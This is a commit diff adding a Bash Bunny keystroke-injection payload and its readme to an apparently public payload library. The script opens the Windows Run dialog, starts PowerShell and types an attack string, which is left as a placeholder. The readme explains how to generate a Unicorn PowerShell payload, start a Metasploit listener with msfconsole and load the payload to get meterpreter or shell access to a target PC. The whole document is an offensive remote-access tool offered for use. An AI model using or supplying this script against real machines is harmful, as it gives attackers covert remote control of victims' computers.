Added Powershell injection script with Unicorn payload. (#288)

payloads/library/remote_access/Unicorn_PowerShell_Injection/payload.txt

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+# Author: Prodicode
+# Creds: trustedsec
+# Version: 1.0
+# Firmware support: 1.1
+# Target: Windows
+
+ATTACKMODE HID
+LED ATTACK
+
+Q GUI r
+Q DELAY 100
+Q STRING powershell
+Q DELAY 250
+Q ENTER
+Q DELAY 500
+Q STRING your_powershell_attack_here 
+Q ENTER
+
+LED FINISH

payloads/library/remote_access/Unicorn_PowerShell_Injection/readme.md

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+# Unicorn Powershell Injection
+
+* Author: Prodicode
+* Creds: trustedsec
+* Version: 1.0
+* Firmware support: 1.1
+* Target: Windows
+
+## Description
+
+A simple script that allows you to inject any metasploit payload with powershell and gain meterpreter or shell access to the target PC.
+
+## Configuration
+
+Configuring this payload is pretty time-consuming, but it's worth it.
+
+1. Download Trustedsec's Unicorn: https://github.com/trustedsec/unicorn and use it to generate a powershell attack script.
+2. After you generate a powershell script, execute ```$ msfconsole -r unicorn.rc``` in the same directory in order to start the listener.
+3. Transfer **payload.txt** to any of your switches, then open it.
+4. Replace ```your_powershell_attack_here``` with the contents of your **powershell_attack.txt** file which was generated.
+5. Put a **\\** (backslash) before each special character (**\,**  **\"**  **\'**  **\:**  **\;**  **\(**  **\)**  **\[**  **\]**  **\+**).
+6. Save the **payload.txt** file and eject Bash Bunny. You are good to go! Sessions will be opened in the metasploit's listener!
+
+## Status
+
+| LED                  | Status                                       |
+| -------------------- | -------------------------------------------- |
+| Yellow Blink(ATTACK) |  Attack Setup                                |
+| Green(FINISH)        |  Attack Complete                             |